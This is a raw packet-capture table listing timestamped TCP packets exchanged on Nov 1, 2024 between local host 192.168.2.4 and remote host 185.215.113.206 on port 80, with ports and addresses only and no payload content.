Nov 1, 2024 05:52:30.688411951 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.688417912 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.688441992 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.688452959 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.768708944 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.768723011 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.768732071 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.768767118 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.768790007 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.776705027 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.776720047 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.776753902 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.776765108 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.776776075 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.776793003 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.776812077 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.776824951 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.776829004 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.776837111 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.776849031 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.776869059 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.776885033 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.776887894 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.776941061 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.810122013 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.810147047 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.810157061 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.810233116 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.810244083 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.810256004 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.810266972 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.810267925 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.810302019 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.810345888 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.810385942 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.810398102 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.810408115 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.810431957 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.810450077 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.810514927 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.810539961 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.810551882 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.810553074 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.810600042 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.810668945 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.810694933 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.810695887 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.810704947 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.810709953 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.810738087 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.810810089 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.810821056 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.810844898 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.810844898 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.810869932 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.811048985 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.811060905 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.811067104 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.811094999 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.811120033 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.811135054 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.811146975 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.811157942 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.811177969 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.811187983 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.811635017 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.811676025 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.811705112 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.811714888 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.811727047 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.811737061 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.811753988 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.811764002 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.811774969 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.811779022 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.811786890 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.811800003 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.811810970 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.811830044 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.811836004 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.811990976 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.812028885 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.812040091 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.812077999 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.892026901 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.892040014 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.892050982 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.892139912 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.899801970 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.899812937 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.899880886 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.899882078 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.899892092 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.899904966 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.899916887 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.899919033 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.899945021 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.899969101 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.900108099 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.900120974 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.900130033 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.900151014 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.900170088 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.933588982 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.933600903 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.933609962 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.933645010 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.933655024 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.933655977 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.933686972 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.933696032 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.933712959 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.933723927 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.933732986 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.933753967 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.933753967 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.933753967 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.933765888 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.933777094 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.933789015 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.933799028 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.934051991 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.934062958 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.934071064 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.934097052 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.934114933 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.934114933 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.934132099 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.934143066 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.934164047 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.934169054 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.934174061 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.934184074 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.934192896 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.934194088 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.934204102 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.934221983 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.934243917 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.942022085 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.942039967 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.942051888 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.942082882 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.942085028 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.942095041 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.942106962 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.942110062 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.942135096 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.942147970 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.942181110 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.942198038 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.942209959 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.942219019 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.942220926 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.942234039 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.942236900 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.942243099 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.942250013 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.942259073 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.942269087 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.942289114 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.977267981 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.977279902 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.977324963 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.015332937 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.015415907 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.015484095 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.015495062 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.015531063 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.023211956 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.023224115 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.023240089 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.023251057 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.023267984 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.023276091 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.023287058 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.023305893 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.023330927 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.023411036 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.023420095 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.023456097 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.023494005 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.023503065 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.023535013 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.057085991 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.057097912 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.057107925 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.057162046 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.057172060 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.057178974 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.057190895 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.057204962 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.057209015 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.057223082 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.057234049 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.057243109 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.057245970 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.057267904 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.057281971 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.057396889 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.057434082 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.057445049 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.057446003 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.057487965 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.057626963 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.057637930 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.057657003 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.057673931 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.057703018 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.057717085 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.057727098 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.057737112 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.057758093 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.057775974 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.057782888 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.057782888 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.057784081 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.057809114 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.057822943 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.058067083 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.058099031 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.058109999 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.058115005 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.058125973 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.058150053 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.058155060 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.058166981 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.058191061 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.058202982 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.065251112 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.065311909 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.065342903 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.065352917 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.065363884 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.065368891 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.065381050 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.065401077 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.065418959 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.065448046 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.065459013 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.065468073 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.065469980 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.065479994 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.065495968 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.065521002 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.138766050 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.138782024 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.138799906 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.138814926 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.138827085 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.138835907 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.138868093 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.138911009 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.146491051 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.146545887 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.146553993 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.146564007 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.146599054 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.146600962 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.146610022 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.146620035 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.146636009 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.146652937 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.146826029 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.146836042 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.146846056 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.146873951 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.146886110 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.180423021 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.180450916 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.180461884 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.180473089 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.180486917 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.180497885 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.180521965 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.180538893 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.180603027 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.180614948 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.180627108 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.180648088 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.180659056 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.180668116 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.180680037 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.180707932 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.180721045 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.180908918 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.180953026 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.180963993 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.180969954 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.180995941 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.181008101 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.181015968 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.181020975 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.181047916 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.181066990 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.181137085 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.181178093 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.181181908 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.181195974 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.181221962 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.181235075 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.181291103 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.181303024 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.181334972 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.181504965 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.181519985 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.181535959 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.181548119 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.181559086 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.181572914 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.181593895 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.181709051 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.181751013 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.181759119 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.181777000 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.181790113 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.181801081 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.181802988 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.181823015 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.181833982 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.188750982 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.188802958 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.188837051 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.188867092 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.188879013 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.188883066 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.188891888 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.188903093 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.188905001 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.188916922 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.188920975 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.188927889 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.188939095 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.188956976 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.188988924 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.189013004 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.189024925 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.189034939 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.189054966 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.189079046 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.262132883 CET	80	49760	185.215.113.206	192.168.2.4
